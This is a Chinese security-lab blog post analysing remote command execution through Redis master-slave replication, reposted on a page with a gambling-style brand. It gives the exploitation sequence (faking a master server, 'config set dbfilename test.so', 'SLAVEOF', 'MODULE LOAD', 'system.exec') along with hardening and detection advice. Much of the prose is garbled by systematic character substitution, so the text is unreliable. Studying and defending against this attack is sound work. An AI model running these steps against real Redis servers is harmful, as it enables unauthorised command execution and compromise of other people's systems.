mg不朽情缘

84472_17022767220742

征询电话:400-6446-808

新闻动态

创安尝试室专栏丨Redis主从复造RCE分析
2023-01-09 00:00:00
crop,h_449,w_800,x_0,y_0
171401694838af7ed3fe72e746cb643d-sz_456

 

 

 

 

 

 

 

 

 

 

古语有云:“学如逆水行舟  ,不进则退。”面对如今随时都在变动的网络安全环境更是如此。为此  ,mg不朽情缘微信公家号特开设“创安尝试室专栏”  ,以纪录mg不朽情缘创安尝试室在技术上的索求  ,加强同业间的互换  ,相互进建  ,共同进取。

 

?+

+

Redis主从复造RCE分析

缝霞述

Redis是一套开源的使用ANSIC编写、支持网络、可基于内存亦可悠久化的日志型、键值存储数据库  ,并提供多种说话的API。由于其高可用性和快杜着势  ,常用于缓存系统(“热点”数据:高频读、低频写)、计数器、新闻队列系统、排行榜、社交网络和实时系统等。

Redis主从复造RCE是在主从复造基础上  ,通过复造恶意文件到本地  ,结合?榧釉刂澳芙褚馕募成功加载  ,挪用恶意文件接话柄现号令执行。

影响

Redis 4.x 和Redis 5.x版本

缝隙道理

Redis 2.8版本在原有单机架构的基础上  ,为相识决单机宕机的风险  ,引入主从复造的机造  ,通过主服务器将数据备份到从服务器上  ,由主服务器掌管处置表部写操作  ,从服务器掌管读操作。通过数据复造  ,Redis的一个master能够挂载多个slave  ,而slave下还能够挂载多个slave  ,形成多层嵌套结构。所有写操作都在master事俘中进行  ,master执行结束后  ,将写指令分发给挂在自己下面的slave节点。slave节点下若是有嵌套的slave  ,会将收到的写指令进一步分发给挂在自己下面的slave。

zz_wH9xdarZRedis提供了2种分歧的悠久化方式  ,RDB方式(在指定的功夫距离内天生数据集的功夫点快照)和AOF方式(纪录服务器执行的所有写操作号令).AOF方式备份数据库的文件名默以为appendonly.aof  ,能够在配置文件中通过批改appendfilename参数进行批改  ,无法在客户端交互中动态设置appendfilename  ,而RDB方式备份数据库的文件名默以为dump.rdb  ,此文件名能够通过客户端交互动态设置dbfilename来更改。

zz_dkgddgUI

主从复造模式下数据单向从主节点流向从节点  ,在从节点初次注册时  ,会对主节点数据进行全量复造  ,复造过程中用offset纪录读取的数据大幼  ,以便中断后断点续传。若是从节点初始没罕见据  ,通过主从复造  ,能够将主节点设置的dbfilename文件全量复造到从节点的dbfilename中  ,从而实现肆意文件上传。

zz_53NxOa6E

肆意Redis服务器在启动时默认作为Master主节点  ,当执行SLAVEOF号令后自动发送要求注册成为指标的从节点  ,未对主节点信息进行校验。

zz_d7N1whuP

在Reids 4.x之后  ,Redis新增了?橹澳  ,通过写c说话并编译出.so文件作为表部拓展  ,能够实此刻redis中实现一个新的Redis号令。

zz_kP34yUwM

 

因而  ,能够通过自己仿照Redis服务器  ,通过执行号令设置将其设置为主节点  ,通过自行机关主服务器响应的情况  ,通过FULLRESYNC号令无损写入想要写的文件。结合肆意?榧釉  ,实现肆意号令执行。

攻击流程

0x00 仿照Redis主服务器

主服务器必要执行的响应内容如下:

[>] PING – 从服务器探测主服务器是否存活

[<] +PONG  存活响应

[>] REPLCONF – 互换主从节点复造信息

[<] +OK     确认

[>] PSYNC/SYNC – 同步状态以及传输方式

[<] +FULLRESYNC  同步数据

1673233619538757

0x01 复造加载

Config set dir /path/

Config set dbfilename test.so  批改备份文件蹊径

SLAVEOF host port 设置为对应服务器的从节点

MODULE LOAD /path/test.so 加载复造过来的

SLAVEOF no one  关关主从复造关系(预防脏数据复造)

System.exec ‘command’ 执行号令

1673233619717770

对应流量特点如下:

1673233619637730

建复建议

主从复造RCE实现前提:

□ Redis可接见(未授权或有痛处)

□ 可动态批改备份文件蹊径

□ 主从未校验可折服务端

凭据上述情况,能够对应防护:

① Redis设置接见白名单(入 预防恶意接见和出 预防恶意设置为主从)

② Redis增长认证

在配置文件/etc/redis/redis.conf中批改requirepasss属性为强口令  ,实现后沉启服务器

动态号令设置config set requirepass YorPass

③ 沉定名有关号令

在配置文件/etc/redis/redis.conf中

rename-command CONFIG PDZA1DA也能够rename-command CONFIG "" 设置为空来禁用

对于恶意特点  ,能够通过MODULE LIST号令查看当前加载的?樾畔  ,沉点关注非官方加载或者SYSTEM、EXEC等恶意关键词  ,监控Redis服务器上Redis过程写入的so文件(Windows为DLL文件)  ,流量中能够沉点关注FULLRESYNC号令以及有关文件二进造特点(Webshell  ,Cron  ,Authorized_keys  ,so和DLL等)。

E·N·D

 

本文由mg不朽情缘创安尝试室编纂。

本文仅限于幼我进建和技术钻研  ,由于传布、利用此文所提供的信息而造成刑事案件、非授权攻击等违法行为  ,均由使用者自己掌管  ,本单元不为此承担任何责任。创安攻防尝试室占有对此文章的批改和诠释权  ,如欲转载或传布此文章  ,必须保障此文章的齐全性  ,蕴含版权申明等全数内容。

 

如有侵权  ,请联系后盾。

 

 

 

创安尝试室

mg不朽情缘创安尝试室  ,是mg不朽情缘旗下的技术钻研团队  ,成立于2021年9月  ,重要钻研红蓝匹涤注沉大安全保险、应急响应等方向。

创安攻防尝试室圆满实现了屡次公安进行的沉要网络安全保险和攻防演习活动  ,并积极参与各类网络安全较量  ,屡获殊荣。

创安攻防尝试室秉承mg不朽情缘的发展理想  ,致力打造国内一流网络安全团队。

【网站地图】